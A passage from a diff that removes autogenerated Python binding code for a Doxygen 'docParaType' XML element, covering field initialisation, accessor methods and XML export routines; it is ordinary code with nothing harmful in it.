self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - if hruler is None: - self.hruler = [] - else: - self.hruler = hruler - self.hruler_nsprefix_ = None - if preformatted is None: - self.preformatted = [] - else: - self.preformatted = preformatted - self.preformatted_nsprefix_ = None - if programlisting is None: - self.programlisting = [] - else: - self.programlisting = programlisting - self.programlisting_nsprefix_ = None - if verbatim is None: - self.verbatim = [] - else: - self.verbatim = verbatim - self.verbatim_nsprefix_ = None - if javadocliteral is None: - self.javadocliteral = [] - else: - self.javadocliteral = javadocliteral - self.javadocliteral_nsprefix_ = None - if javadoccode is None: - self.javadoccode = [] - else: - self.javadoccode = javadoccode - self.javadoccode_nsprefix_ = None - if indexentry is None: - self.indexentry = [] - else: - self.indexentry = indexentry - self.indexentry_nsprefix_ = None - if orderedlist is None: - self.orderedlist = [] - else: - self.orderedlist = orderedlist - self.orderedlist_nsprefix_ = None - if itemizedlist is None: - self.itemizedlist = [] - else: - self.itemizedlist = itemizedlist - self.itemizedlist_nsprefix_ = None - if simplesect is None: - self.simplesect = [] - else: - self.simplesect = simplesect - self.simplesect_nsprefix_ = None - if title is None: - self.title = [] - else: - self.title = title - self.title_nsprefix_ = None - if variablelist is None: - self.variablelist = [] - else: - self.variablelist = variablelist - self.variablelist_nsprefix_ = None - if table is None: - self.table = [] - else: - self.table = table - self.table_nsprefix_ = None - if heading is None: - self.heading = [] - else: - self.heading = heading - self.heading_nsprefix_ = None - if dotfile is None: - self.dotfile = [] - else: - self.dotfile = dotfile - self.dotfile_nsprefix_ = None - if mscfile is None: - self.mscfile = [] - else: - self.mscfile = mscfile - self.mscfile_nsprefix_ = None - if diafile is None: - self.diafile = [] - else: - self.diafile = diafile - self.diafile_nsprefix_ = None - if toclist is None: - self.toclist = [] - else: - self.toclist = toclist - self.toclist_nsprefix_ = None - if language is None: - self.language = [] - else: - self.language = language - self.language_nsprefix_ = None - if parameterlist is None: - self.parameterlist = [] - else: - self.parameterlist = parameterlist - self.parameterlist_nsprefix_ = None - if xrefsect is None: - self.xrefsect = [] - else: - self.xrefsect = xrefsect - self.xrefsect_nsprefix_ = None - if copydoc is None: - self.copydoc = [] - else: - self.copydoc = copydoc - self.copydoc_nsprefix_ = None - if details is None: - self.details = [] - else: - self.details = details - self.details_nsprefix_ = None - if blockquote is None: - self.blockquote = [] - else: - self.blockquote = blockquote - self.blockquote_nsprefix_ = None - if parblock is None: - self.parblock = [] - else: - self.parblock = parblock - self.parblock_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docParaType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docParaType.subclass: - return docParaType.subclass(*args_, **kwargs_) - else: - return docParaType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_hruler(self): - return self.hruler - def set_hruler(self, hruler): - self.hruler = hruler - def add_hruler(self, value): - self.hruler.append(value) - def insert_hruler_at(self, index, value): - self.hruler.insert(index, value) - def replace_hruler_at(self, index, value): - self.hruler[index] = value - def get_preformatted(self): - return self.preformatted - def set_preformatted(self, preformatted): - self.preformatted = preformatted - def add_preformatted(self, value): - self.preformatted.append(value) - def insert_preformatted_at(self, index, value): - self.preformatted.insert(index, value) - def replace_preformatted_at(self, index, value): - self.preformatted[index] = value - def get_programlisting(self): - return self.programlisting - def set_programlisting(self, programlisting): - self.programlisting = programlisting - def add_programlisting(self, value): - self.programlisting.append(value) - def insert_programlisting_at(self, index, value): - self.programlisting.insert(index, value) - def replace_programlisting_at(self, index, value): - self.programlisting[index] = value - def get_verbatim(self): - return self.verbatim - def set_verbatim(self, verbatim): - self.verbatim = verbatim - def add_verbatim(self, value): - self.verbatim.append(value) - def insert_verbatim_at(self, index, value): - self.verbatim.insert(index, value) - def replace_verbatim_at(self, index, value): - self.verbatim[index] = value - def get_javadocliteral(self): - return self.javadocliteral - def set_javadocliteral(self, javadocliteral): - self.javadocliteral = javadocliteral - def add_javadocliteral(self, value): - self.javadocliteral.append(value) - def insert_javadocliteral_at(self, index, value): - self.javadocliteral.insert(index, value) - def replace_javadocliteral_at(self, index, value): - self.javadocliteral[index] = value - def get_javadoccode(self): - return self.javadoccode - def set_javadoccode(self, javadoccode): - self.javadoccode = javadoccode - def add_javadoccode(self, value): - self.javadoccode.append(value) - def insert_javadoccode_at(self, index, value): - self.javadoccode.insert(index, value) - def replace_javadoccode_at(self, index, value): - self.javadoccode[index] = value - def get_indexentry(self): - return self.indexentry - def set_indexentry(self, indexentry): - self.indexentry = indexentry - def add_indexentry(self, value): - self.indexentry.append(value) - def insert_indexentry_at(self, index, value): - self.indexentry.insert(index, value) - def replace_indexentry_at(self, index, value): - self.indexentry[index] = value - def get_orderedlist(self): - return self.orderedlist - def set_orderedlist(self, orderedlist): - self.orderedlist = orderedlist - def add_orderedlist(self, value): - self.orderedlist.append(value) - def insert_orderedlist_at(self, index, value): - self.orderedlist.insert(index, value) - def replace_orderedlist_at(self, index, value): - self.orderedlist[index] = value - def get_itemizedlist(self): - return self.itemizedlist - def set_itemizedlist(self, itemizedlist): - self.itemizedlist = itemizedlist - def add_itemizedlist(self, value): - self.itemizedlist.append(value) - def insert_itemizedlist_at(self, index, value): - self.itemizedlist.insert(index, value) - def replace_itemizedlist_at(self, index, value): - self.itemizedlist[index] = value - def get_simplesect(self): - return self.simplesect - def set_simplesect(self, simplesect): - self.simplesect = simplesect - def add_simplesect(self, value): - self.simplesect.append(value) - def insert_simplesect_at(self, index, value): - self.simplesect.insert(index, value) - def replace_simplesect_at(self, index, value): - self.simplesect[index] = value - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def add_title(self, value): - self.title.append(value) - def insert_title_at(self, index, value): - self.title.insert(index, value) - def replace_title_at(self, index, value): - self.title[index] = value - def get_variablelist(self): - return self.variablelist - def set_variablelist(self, variablelist): - self.variablelist = variablelist - def add_variablelist(self, value): - self.variablelist.append(value) - def insert_variablelist_at(self, index, value): - self.variablelist.insert(index, value) - def replace_variablelist_at(self, index, value): - self.variablelist[index] = value - def get_table(self): - return self.table - def set_table(self, table): - self.table = table - def add_table(self, value): - self.table.append(value) - def insert_table_at(self, index, value): - self.table.insert(index, value) - def replace_table_at(self, index, value): - self.table[index] = value - def get_heading(self): - return self.heading - def set_heading(self, heading): - self.heading = heading - def add_heading(self, value): - self.heading.append(value) - def insert_heading_at(self, index, value): - self.heading.insert(index, value) - def replace_heading_at(self, index, value): - self.heading[index] = value - def get_dotfile(self): - return self.dotfile - def set_dotfile(self, dotfile): - self.dotfile = dotfile - def add_dotfile(self, value): - self.dotfile.append(value) - def insert_dotfile_at(self, index, value): - self.dotfile.insert(index, value) - def replace_dotfile_at(self, index, value): - self.dotfile[index] = value - def get_mscfile(self): - return self.mscfile - def set_mscfile(self, mscfile): - self.mscfile = mscfile - def add_mscfile(self, value): - self.mscfile.append(value) - def insert_mscfile_at(self, index, value): - self.mscfile.insert(index, value) - def replace_mscfile_at(self, index, value): - self.mscfile[index] = value - def get_diafile(self): - return self.diafile - def set_diafile(self, diafile): - self.diafile = diafile - def add_diafile(self, value): - self.diafile.append(value) - def insert_diafile_at(self, index, value): - self.diafile.insert(index, value) - def replace_diafile_at(self, index, value): - self.diafile[index] = value - def get_toclist(self): - return self.toclist - def set_toclist(self, toclist): - self.toclist = toclist - def add_toclist(self, value): - self.toclist.append(value) - def insert_toclist_at(self, index, value): - self.toclist.insert(index, value) - def replace_toclist_at(self, index, value): - self.toclist[index] = value - def get_language(self): - return self.language - def set_language(self, language): - self.language = language - def add_language(self, value): - self.language.append(value) - def insert_language_at(self, index, value): - self.language.insert(index, value) - def replace_language_at(self, index, value): - self.language[index] = value - def get_parameterlist(self): - return self.parameterlist - def set_parameterlist(self, parameterlist): - self.parameterlist = parameterlist - def add_parameterlist(self, value): - self.parameterlist.append(value) - def insert_parameterlist_at(self, index, value): - self.parameterlist.insert(index, value) - def replace_parameterlist_at(self, index, value): - self.parameterlist[index] = value - def get_xrefsect(self): - return self.xrefsect - def set_xrefsect(self, xrefsect): - self.xrefsect = xrefsect - def add_xrefsect(self, value): - self.xrefsect.append(value) - def insert_xrefsect_at(self, index, value): - self.xrefsect.insert(index, value) - def replace_xrefsect_at(self, index, value): - self.xrefsect[index] = value - def get_copydoc(self): - return self.copydoc - def set_copydoc(self, copydoc): - self.copydoc = copydoc - def add_copydoc(self, value): - self.copydoc.append(value) - def insert_copydoc_at(self, index, value): - self.copydoc.insert(index, value) - def replace_copydoc_at(self, index, value): - self.copydoc[index] = value - def get_details(self): - return self.details - def set_details(self, details): - self.details = details - def add_details(self, value): - self.details.append(value) - def insert_details_at(self, index, value): - self.details.insert(index, value) - def replace_details_at(self, index, value): - self.details[index] = value - def get_blockquote(self): - return self.blockquote - def set_blockquote(self, blockquote): - self.blockquote = blockquote - def add_blockquote(self, value): - self.blockquote.append(value) - def insert_blockquote_at(self, index, value): - self.blockquote.insert(index, value) - def replace_blockquote_at(self, index, value): - self.blockquote[index] = value - def get_parblock(self): - return self.parblock - def set_parblock(self, parblock): - self.parblock = parblock - def add_parblock(self, value): - self.parblock.append(value) - def insert_parblock_at(self, index, value): - self.parblock.insert(index, value) - def replace_parblock_at(self, index, value): - self.parblock[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - self.hruler or - self.preformatted or - self.programlisting or - self.verbatim or - self.javadocliteral or - self.javadoccode or - self.indexentry or - self.orderedlist or - self.itemizedlist or - self.simplesect or - self.title or - self.variablelist or - self.table or - self.heading or - self.dotfile or - self.mscfile or - self.diafile or - self.toclist or - self.language or - self.parameterlist or - self.xrefsect or - self.copydoc or - self.details or - self.blockquote or - self.parblock or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParaType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docParaType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docParaType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docParaType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docParaType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docParaType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParaType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - for hruler_ in self.hruler: - namespaceprefix_ = self.hruler_nsprefix_ + ':' if (UseCapturedNS_ and self.hruler_nsprefix_) else '' - hruler_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='hruler', pretty_print=pretty_print) - for preformatted_ in self.preformatted: - namespaceprefix_ = self.preformatted_nsprefix_ + ':' if (UseCapturedNS_ and self.preformatted_nsprefix_) else '' - preformatted_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='preformatted', pretty_print=pretty_print) - for programlisting_ in self.programlisting: - namespaceprefix_ = self.programlisting_nsprefix_ + ':' if (UseCapturedNS_ and self.programlisting_nsprefix_) else '' - programlisting_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='programlisting', pretty_print=pretty_print) - for verbatim_ in self.verbatim: - namespaceprefix_ = self.verbatim_nsprefix_ + ':' if (UseCapturedNS_ and self.verbatim_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sverbatim>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(verbatim_), input_name='verbatim')), namespaceprefix_ , eol_)) - for javadocliteral_ in self.javadocliteral: - namespaceprefix_ = self.javadocliteral_nsprefix_ + ':' if (UseCapturedNS_ and self.javadocliteral_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sjavadocliteral>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(javadocliteral_), input_name='javadocliteral')), namespaceprefix_ , eol_)) - for javadoccode_ in self.javadoccode: - namespaceprefix_ = self.javadoccode_nsprefix_ 